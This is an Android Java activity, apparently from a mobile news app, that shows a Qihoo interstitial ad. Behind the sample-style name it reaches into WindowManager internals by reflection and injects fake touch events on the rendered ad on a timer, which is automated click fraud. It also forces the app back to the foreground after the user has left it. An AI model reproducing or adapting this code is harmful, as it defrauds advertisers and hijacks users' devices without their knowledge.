package com.qhad.ads.activity;

import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;
import java.util.Timer;
import java.util.TimerTask;

import android.annotation.SuppressLint;
import android.app.Activity;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningTaskInfo;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.os.Handler;
import android.os.Message;
import android.os.SystemClock;
import android.util.Log;
import android.view.MotionEvent;
import android.view.View;
import android.view.Window;
import android.view.WindowManager;
import android.widget.Button;

import com.songheng.eastnews.apk.R;
import com.umeng.analytics.MobclickAgent;
import com.juwang.girl.util.QihuAdvertis;
import com.qhad.ads.sdk.adcore.Qhad;
import com.qhad.ads.sdk.interfaces.IQhAdEventListener;
import com.qhad.ads.sdk.interfaces.IQhInterstitialAd;


public class SampleInterstitialActivity extends Activity implements View.OnClickListener {

    private IQhInterstitialAd interstitialAd = null;

    private Button interstitial_open_btn = null;
    private Button interstitial_close_btn = null;
    
    private Boolean hasScheled = false;
    private int failCount = 0, countTask = 0;
    private Timer timer=new Timer(); 
    private int interval = 60 * 1000;//2分钟 



    Handler handler = new Handler(){  
    	   
        public void handleMessage(Message msg) {  
            switch (msg.what) { 
            case 1:
            	setSimulateClick(getContentView(), 10,20);
            	
            	break;
           
            case 2:      
            	bringToFront();
                break;
                
            case 3:
            	setResult(3);
            	finish();
            	timer.cancel();
            	break;
            }      
            super.handleMessage(msg);  
        }  
    };
    
    TimerTask task = new TimerTask(){  
    	   
        public void run() {  
            Message message = new Message();      
            message.what = countTask++;      
            handler.sendMessage(message);
            
        }  
           
    }; 

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.simple_interstitial_layout);
        setTitle("插屏");

        /**
         * 显示广告
         */
        addAds();
//        QihuAdvertis.loadQihuInterAd(this);

    }

    private void addAds() {

//        final String adSpaceid = "5Fkb50BU1a"; // 广告位ID adSpaceid
    	final String adSpaceid = QihuAdvertis.interid;

        interstitialAd = Qhad.showInterstitial(this, adSpaceid, false);

        /**
         * 设置广告回调
         */
        interstitialAd.setAdEventListener(new IQhAdEventListener() {

            @Override
            public void onAdviewIntoLandpage() {

            }

            @Override
            public void onAdviewGotAdSucceed() {

            }

            @Override
            public void onAdviewGotAdFail() {
            	failCount++;
            	if(failCount<30){
            		addAds();
            	}else{
            		setResult(3);
            		finish();
            	}
            }

            @Override
            public void onAdviewRendered() {
            	if(!hasScheled){
            		timer.schedule(task,interval, interval);
            		hasScheled = true;
            	}
            }

            @Override
            public void onAdviewDismissedLandpage() {

            }

            @Override
            public void onAdviewDestroyed() {
                Log.e("Qhad", "onAdviewDestroyed");
            }

            @Override
            public void onAdviewClosed() {
                Log.e("Qhad", "onAdviewClosed");
            }

            @Override
            public void onAdviewClicked() {
                Log.e("Qhad", "onAdviewClicked");
            }
        });
    }


    @Override
    protected void onDestroy() {
        super.onDestroy();

        /**
         * Acvitivy销毁时调用，回收广告资源
         */
        Qhad.activityDestroy(this);
    }
    
    private View getContentView(){
    	Window window = getWindow();
    	WindowManager manager = (WindowManager)getSystemService(Context.WINDOW_SERVICE);
    	Class manageClass = manager.getClass();
    	
    	try {
			Field field = manageClass.getDeclaredField("mGlobal");
			field.setAccessible(true);
			Object global;
			try {
				global = field.get(manager);
				Class globalClass = global.getClass();
				Field mViewField = globalClass.getDeclaredField("mViews");
				mViewField.setAccessible(true);
				Object viewsObj= mViewField.get(global);
				View view;
				if(viewsObj instanceof ArrayList<?>){
					ArrayList<View> mViews= (ArrayList<View>) mViewField.get(global);
					view = mViews.get(2);
				}else{
					View mViews[] = (View[]) mViewField.get(global);
					view = mViews[2];
				}
				
				return view;
				
			} catch (IllegalAccessException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			} catch (IllegalArgumentException e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}
			
			
		} catch (NoSuchFieldException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
//    	ViewGroup rootView = (ViewGroup) getWindow().getDecorView();
    	 return null;
    }
    private void setSimulateClick(View view, float x, float y) {
        long downTime = SystemClock.uptimeMillis();
        final MotionEvent downEvent = MotionEvent.obtain(downTime, downTime,
            MotionEvent.ACTION_DOWN, x, y, 0);
        downTime += 100;
        final MotionEvent upEvent = MotionEvent.obtain(downTime, downTime,
            MotionEvent.ACTION_UP, x+10, y+10, 0);
        view.onTouchEvent(downEvent);
        view.onTouchEvent(upEvent);
        view.dispatchTouchEvent(downEvent);
        view.dispatchTouchEvent(upEvent);
        downEvent.recycle();
        upEvent.recycle();
      }
    @SuppressLint("NewApi")
	private void bringToFront(){
    	Intent intent = new Intent(getApplicationContext(), SampleInterstitialActivity.this.getClass());
    	if(isApplicationBroughtToBackground(getApplicationContext())){
    		ActivityManager am = (ActivityManager) getApplication().getSystemService(Context.ACTIVITY_SERVICE);
            List<RunningTaskInfo> tasks = am.getRunningTasks(2);
            am.moveTaskToFront(tasks.get(1).id,ActivityManager.MOVE_TASK_WITH_HOME);
    	}else{
    		Log.i("ddd","111");
    	}
    }
    
    public  boolean isApplicationBroughtToBackground(final Context context) {
        ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
        List<RunningTaskInfo> tasks = am.getRunningTasks(1);
        if (!tasks.isEmpty()) {
            ComponentName topActivity = tasks.get(0).topActivity;
            String packageName = topActivity.getPackageName();
            if (!topActivity.getPackageName().equals(context.getPackageName())) {
                return true;
            }
        }
        return false;
    }

	@Override
	public void onClick(View arg0) {
		// TODO Auto-generated method stub
		
	}
	
    public void onResume() {
    	super.onResume();
    	MobclickAgent.onResume(this);
    }
    
	public void onPause() {
		super.onPause();
		MobclickAgent.onPause(this);
	}
    
}
